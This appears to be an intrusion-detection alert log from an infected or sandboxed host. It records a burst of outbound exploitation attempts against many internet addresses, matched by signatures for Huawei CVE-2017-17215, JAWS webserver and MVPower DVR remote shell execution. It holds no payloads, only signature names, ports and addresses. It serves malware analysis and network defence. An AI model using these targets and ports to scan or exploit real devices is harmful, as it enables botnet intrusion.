06/10/24-15:38:02.145053	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35910	80	192.168.2.13	106.7.166.126
06/10/24-15:38:02.762083	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59392	37215	192.168.2.13	156.167.31.0
06/10/24-15:38:02.911966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33880	37215	192.168.2.13	41.213.29.197
06/10/24-15:38:00.034176	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36348	37215	192.168.2.13	41.222.149.196
06/10/24-15:38:00.248812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33070	37215	192.168.2.13	197.190.17.120
06/10/24-15:38:02.716092	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42970	37215	192.168.2.13	156.28.97.254
06/10/24-15:38:02.506272	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32782	37215	192.168.2.13	156.211.133.216
06/10/24-15:38:02.721224	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38284	37215	192.168.2.13	156.46.144.10
06/10/24-15:38:02.084991	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58912	80	192.168.2.13	67.115.43.219
06/10/24-15:38:00.013509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52976	37215	192.168.2.13	197.57.169.86
06/10/24-15:38:02.298942	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49900	80	192.168.2.13	204.44.180.10
06/10/24-15:38:00.270805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57758	37215	192.168.2.13	41.129.88.86
06/10/24-15:37:59.943220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34092	37215	192.168.2.13	41.30.124.178
06/10/24-15:38:02.833196	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56460	37215	192.168.2.13	156.146.144.209
06/10/24-15:38:00.008957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36608	37215	192.168.2.13	41.223.243.35
06/10/24-15:38:02.653727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38800	37215	192.168.2.13	41.58.235.129
06/10/24-15:38:02.819947	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46090	37215	192.168.2.13	156.21.102.72
06/10/24-15:38:02.877070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54630	37215	192.168.2.13	197.158.23.49
06/10/24-15:37:59.954562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33990	37215	192.168.2.13	41.196.189.226
06/10/24-15:37:59.753726	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58648	80	192.168.2.13	50.13.193.163
06/10/24-15:38:02.123851	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46196	80	192.168.2.13	209.207.220.115
06/10/24-15:38:00.255183	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55170	37215	192.168.2.13	156.134.168.58
06/10/24-15:37:59.981701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41120	37215	192.168.2.13	41.186.239.153
06/10/24-15:38:00.209800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46028	37215	192.168.2.13	156.46.209.218
06/10/24-15:37:59.944688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46644	37215	192.168.2.13	156.79.10.64
06/10/24-15:37:59.863643	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43232	80	192.168.2.13	80.234.35.77
06/10/24-15:38:02.149120	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58634	80	192.168.2.13	2.133.83.163
06/10/24-15:38:02.846884	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53768	37215	192.168.2.13	156.122.197.14
06/10/24-15:38:02.119333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35946	80	192.168.2.13	153.10.225.113
06/10/24-15:37:59.776818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59898	80	192.168.2.13	213.227.25.210
06/10/24-15:38:00.010670	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54964	37215	192.168.2.13	41.58.54.58
06/10/24-15:38:02.810751	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53740	37215	192.168.2.13	156.100.123.7
06/10/24-15:37:59.991203	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52860	37215	192.168.2.13	156.29.235.89
06/10/24-15:38:02.789775	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51240	37215	192.168.2.13	41.86.51.96
06/10/24-15:37:59.815835	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53776	80	192.168.2.13	78.199.201.121
06/10/24-15:38:02.095481	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57206	80	192.168.2.13	205.141.193.122
06/10/24-15:38:02.791154	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34792	37215	192.168.2.13	41.189.9.139
06/10/24-15:38:02.250043	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44254	80	192.168.2.13	66.136.9.144
06/10/24-15:38:00.224097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47094	37215	192.168.2.13	156.137.31.90
06/10/24-15:38:02.864253	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47112	37215	192.168.2.13	156.213.216.105
06/10/24-15:37:59.979091	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45156	37215	192.168.2.13	197.37.79.4
06/10/24-15:38:02.688716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42320	37215	192.168.2.13	197.58.68.31
06/10/24-15:38:02.671087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45274	37215	192.168.2.13	156.196.121.47
06/10/24-15:38:00.161493	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33540	37215	192.168.2.13	41.69.228.208
06/10/24-15:38:02.104496	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44402	80	192.168.2.13	79.2.193.50
06/10/24-15:38:00.189175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58464	37215	192.168.2.13	41.57.17.164
06/10/24-15:38:02.648657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44284	37215	192.168.2.13	41.231.143.228
06/10/24-15:38:00.221508	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54140	37215	192.168.2.13	197.225.243.209
06/10/24-15:38:02.765712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42732	37215	192.168.2.13	41.182.157.126
06/10/24-15:37:59.790906	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41002	80	192.168.2.13	173.150.225.180
06/10/24-15:38:00.008064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39324	37215	192.168.2.13	156.211.48.76
06/10/24-15:38:00.026295	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43020	37215	192.168.2.13	156.253.209.134
06/10/24-15:38:02.087126	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38432	80	192.168.2.13	112.146.51.255
06/10/24-15:38:00.176046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41532	37215	192.168.2.13	197.127.189.142
06/10/24-15:38:02.721224	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38284	37215	192.168.2.13	156.46.144.10
06/10/24-15:38:02.197579	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45966	80	192.168.2.13	97.242.25.160
06/10/24-15:38:02.154888	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51870	80	192.168.2.13	65.168.33.57
06/10/24-15:37:59.992068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49128	37215	192.168.2.13	156.165.201.247
06/10/24-15:38:00.029158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34938	37215	192.168.2.13	156.205.120.113
06/10/24-15:37:59.800000	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42016	80	192.168.2.13	195.50.200.227
06/10/24-15:37:59.976497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34932	37215	192.168.2.13	197.9.107.34
06/10/24-15:38:02.307423	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42506	80	192.168.2.13	94.124.142.214
06/10/24-15:38:00.211497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45922	37215	192.168.2.13	156.25.179.14
06/10/24-15:38:00.210637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50210	37215	192.168.2.13	156.62.210.214
06/10/24-15:38:02.188001	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35812	80	192.168.2.13	93.194.35.168
06/10/24-15:38:02.830775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37174	37215	192.168.2.13	41.72.64.165
06/10/24-15:38:02.092323	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38082	80	192.168.2.13	94.87.180.153
06/10/24-15:38:00.258740	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53884	37215	192.168.2.13	156.254.58.48
06/10/24-15:38:02.739622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58650	37215	192.168.2.13	156.58.2.142
06/10/24-15:38:02.779348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39560	37215	192.168.2.13	197.254.151.216
06/10/24-15:38:02.126147	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41096	80	192.168.2.13	218.60.33.200
06/10/24-15:37:59.836086	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40004	80	192.168.2.13	184.225.110.223
06/10/24-15:38:00.192522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48172	37215	192.168.2.13	156.168.245.29
06/10/24-15:38:02.683936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59854	37215	192.168.2.13	156.19.238.181
06/10/24-15:38:00.022727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38164	37215	192.168.2.13	156.162.243.21
06/10/24-15:38:02.907506	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51602	37215	192.168.2.13	156.230.96.138
06/10/24-15:38:02.664556	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42468	37215	192.168.2.13	197.210.141.62
06/10/24-15:37:59.973058	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56350	37215	192.168.2.13	156.211.89.221
06/10/24-15:38:00.193999	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43578	37215	192.168.2.13	197.105.96.234
06/10/24-15:38:02.227858	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49684	80	192.168.2.13	194.172.51.155
06/10/24-15:38:02.214505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35392	80	192.168.2.13	76.65.135.249
06/10/24-15:38:02.650837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42044	37215	192.168.2.13	197.254.128.168
06/10/24-15:38:02.112951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52482	80	192.168.2.13	172.81.228.248
06/10/24-15:38:02.925765	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55820	37215	192.168.2.13	156.189.36.162
06/10/24-15:37:59.964618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54370	37215	192.168.2.13	156.201.14.29
06/10/24-15:37:59.845254	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60926	80	192.168.2.13	20.163.218.116
06/10/24-15:38:02.203124	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52872	80	192.168.2.13	51.110.96.206
06/10/24-15:37:59.958705	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44164	37215	192.168.2.13	41.26.2.2
06/10/24-15:38:02.637710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50306	37215	192.168.2.13	156.0.208.206
06/10/24-15:38:02.147810	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58770	80	192.168.2.13	118.254.40.208
06/10/24-15:38:02.649435	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44504	37215	192.168.2.13	41.61.237.24
06/10/24-15:37:59.747937	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	32824	80	192.168.2.13	70.109.71.255
06/10/24-15:38:00.253813	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43078	37215	192.168.2.13	156.243.212.25
06/10/24-15:37:59.945412	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53768	37215	192.168.2.13	156.31.27.232
06/10/24-15:38:02.811819	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49442	37215	192.168.2.13	156.234.212.72
06/10/24-15:38:00.218073	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45262	37215	192.168.2.13	156.193.239.253
06/10/24-15:38:00.274014	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59706	37215	192.168.2.13	156.154.82.234
06/10/24-15:38:00.181485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48948	37215	192.168.2.13	41.116.99.196
06/10/24-15:38:02.132768	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45504	80	192.168.2.13	92.13.170.51
06/10/24-15:38:02.752803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57264	37215	192.168.2.13	197.69.40.39
06/10/24-15:38:02.101873	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44802	80	192.168.2.13	105.130.18.45
06/10/24-15:38:00.003802	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33756	37215	192.168.2.13	197.244.78.206
06/10/24-15:38:00.021324	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51562	37215	192.168.2.13	41.130.180.46
06/10/24-15:37:59.864921	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37108	80	192.168.2.13	86.248.77.229
06/10/24-15:38:02.106417	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52408	80	192.168.2.13	138.243.195.109
06/10/24-15:38:00.002137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54402	37215	192.168.2.13	41.63.241.27
06/10/24-15:38:02.233253	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37170	80	192.168.2.13	163.245.107.156
06/10/24-15:37:59.788491	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46042	80	192.168.2.13	31.24.128.114
06/10/24-15:38:02.501600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58548	37215	192.168.2.13	41.114.65.8
06/10/24-15:38:02.505632	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42276	37215	192.168.2.13	41.70.83.42
06/10/24-15:38:02.710308	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50128	37215	192.168.2.13	41.228.119.118
06/10/24-15:37:59.948276	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46442	37215	192.168.2.13	156.98.83.218
06/10/24-15:38:02.123264	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40360	80	192.168.2.13	75.224.59.165
06/10/24-15:38:02.792332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51254	37215	192.168.2.13	41.54.19.9
06/10/24-15:38:02.843717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50194	37215	192.168.2.13	156.3.211.244
06/10/24-15:38:00.177056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39800	37215	192.168.2.13	156.160.21.128
06/10/24-15:38:02.865201	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38730	37215	192.168.2.13	156.8.50.69
06/10/24-15:38:02.157293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55846	80	192.168.2.13	13.225.119.16
06/10/24-15:38:02.502931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46240	37215	192.168.2.13	41.185.155.40
06/10/24-15:38:00.184599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59998	37215	192.168.2.13	41.122.109.42
06/10/24-15:38:02.788817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56284	37215	192.168.2.13	156.174.49.82
06/10/24-15:38:00.037044	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33786	37215	192.168.2.13	156.179.78.181
06/10/24-15:37:59.806758	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40556	80	192.168.2.13	84.162.2.5
06/10/24-15:38:00.273128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42026	37215	192.168.2.13	197.128.86.63
06/10/24-15:38:02.195196	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38620	80	192.168.2.13	24.223.164.59
06/10/24-15:37:59.781384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37506	80	192.168.2.13	115.165.178.143
06/10/24-15:38:02.492497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46236	37215	192.168.2.13	197.115.124.164
06/10/24-15:37:59.990322	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37196	37215	192.168.2.13	41.89.132.28
06/10/24-15:38:02.786162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52216	37215	192.168.2.13	156.193.153.44
06/10/24-15:38:02.875172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45636	37215	192.168.2.13	197.94.37.133
06/10/24-15:38:00.234498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43084	37215	192.168.2.13	156.178.253.203
06/10/24-15:38:02.122172	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60888	80	192.168.2.13	31.54.174.172
06/10/24-15:38:02.297540	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48660	80	192.168.2.13	109.42.218.157
06/10/24-15:38:00.257346	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32950	37215	192.168.2.13	156.146.151.12
06/10/24-15:38:02.653315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57296	37215	192.168.2.13	41.208.114.199
06/10/24-15:38:02.878023	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59264	37215	192.168.2.13	197.15.80.136
06/10/24-15:38:02.695812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42650	37215	192.168.2.13	197.231.249.66
06/10/24-15:38:02.325384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60416	80	192.168.2.13	211.65.87.166
06/10/24-15:38:02.934901	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34102	37215	192.168.2.13	156.104.219.208
06/10/24-15:38:02.159318	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41816	80	192.168.2.13	150.177.195.126
06/10/24-15:38:02.681567	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35328	37215	192.168.2.13	41.9.208.117
06/10/24-15:38:02.713903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50702	37215	192.168.2.13	156.244.102.173
06/10/24-15:37:59.941006	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33514	37215	192.168.2.13	156.78.13.161
06/10/24-15:38:02.715141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46712	37215	192.168.2.13	197.57.43.253
06/10/24-15:38:00.246351	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41150	37215	192.168.2.13	41.234.210.66
06/10/24-15:38:00.261547	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51604	37215	192.168.2.13	197.95.0.54
06/10/24-15:38:02.813306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50454	37215	192.168.2.13	156.192.98.232
06/10/24-15:38:02.304825	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37678	80	192.168.2.13	148.136.36.100
06/10/24-15:38:02.641973	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57774	37215	192.168.2.13	197.167.195.153
06/10/24-15:38:00.196297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48942	37215	192.168.2.13	197.159.13.233
06/10/24-15:38:02.702109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44722	37215	192.168.2.13	156.243.126.82
06/10/24-15:38:02.767730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59890	37215	192.168.2.13	197.148.119.5
06/10/24-15:37:59.795427	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37488	80	192.168.2.13	86.102.128.211
06/10/24-15:38:00.243948	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38516	37215	192.168.2.13	197.161.103.248
06/10/24-15:38:02.498091	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49488	37215	192.168.2.13	156.64.75.27
06/10/24-15:37:59.849795	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49620	80	192.168.2.13	161.106.196.70
06/10/24-15:38:02.932450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33406	37215	192.168.2.13	156.179.20.17
06/10/24-15:37:59.955351	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36294	37215	192.168.2.13	41.12.156.197
06/10/24-15:38:00.175015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56568	37215	192.168.2.13	197.123.247.90
06/10/24-15:38:00.179072	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50148	37215	192.168.2.13	156.179.233.113
06/10/24-15:38:02.243843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56706	80	192.168.2.13	19.71.2.182
06/10/24-15:38:02.669182	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36132	37215	192.168.2.13	197.46.18.42
06/10/24-15:38:02.732625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45998	37215	192.168.2.13	197.6.6.199
06/10/24-15:37:59.949732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59100	37215	192.168.2.13	156.216.173.116
06/10/24-15:38:02.645712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43262	37215	192.168.2.13	41.98.155.71
06/10/24-15:38:02.787074	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56392	37215	192.168.2.13	156.2.80.141
06/10/24-15:38:00.190024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46504	37215	192.168.2.13	197.0.201.185
06/10/24-15:38:02.217969	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41204	80	192.168.2.13	20.87.200.184
06/10/24-15:37:59.809084	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35328	80	192.168.2.13	51.33.7.198
06/10/24-15:37:59.856619	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43560	80	192.168.2.13	24.223.44.225
06/10/24-15:38:02.175938	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34330	80	192.168.2.13	69.194.229.28
06/10/24-15:38:02.508359	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58330	37215	192.168.2.13	197.240.30.85
06/10/24-15:37:59.868776	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42046	80	192.168.2.13	195.209.166.102
06/10/24-15:38:00.007220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53538	37215	192.168.2.13	41.236.7.25
06/10/24-15:38:02.724796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52760	37215	192.168.2.13	197.28.22.183
06/10/24-15:37:59.772200	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49156	80	192.168.2.13	181.171.108.67
06/10/24-15:38:00.197151	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48674	37215	192.168.2.13	41.154.147.59
06/10/24-15:38:02.233909	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60900	80	192.168.2.13	164.62.170.48
06/10/24-15:38:00.247270	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59752	37215	192.168.2.13	41.215.9.130
06/10/24-15:37:59.969655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49034	37215	192.168.2.13	197.216.238.129
06/10/24-15:37:59.981701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41120	37215	192.168.2.13	41.186.239.153
06/10/24-15:38:02.226488	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54626	80	192.168.2.13	134.253.9.177
06/10/24-15:38:02.703161	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45526	37215	192.168.2.13	156.79.220.96
06/10/24-15:37:59.950533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38960	37215	192.168.2.13	41.86.126.31
06/10/24-15:37:59.977354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60878	37215	192.168.2.13	41.140.184.247
06/10/24-15:38:02.816370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56330	37215	192.168.2.13	41.242.68.175
06/10/24-15:38:00.213146	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44874	37215	192.168.2.13	197.126.47.34
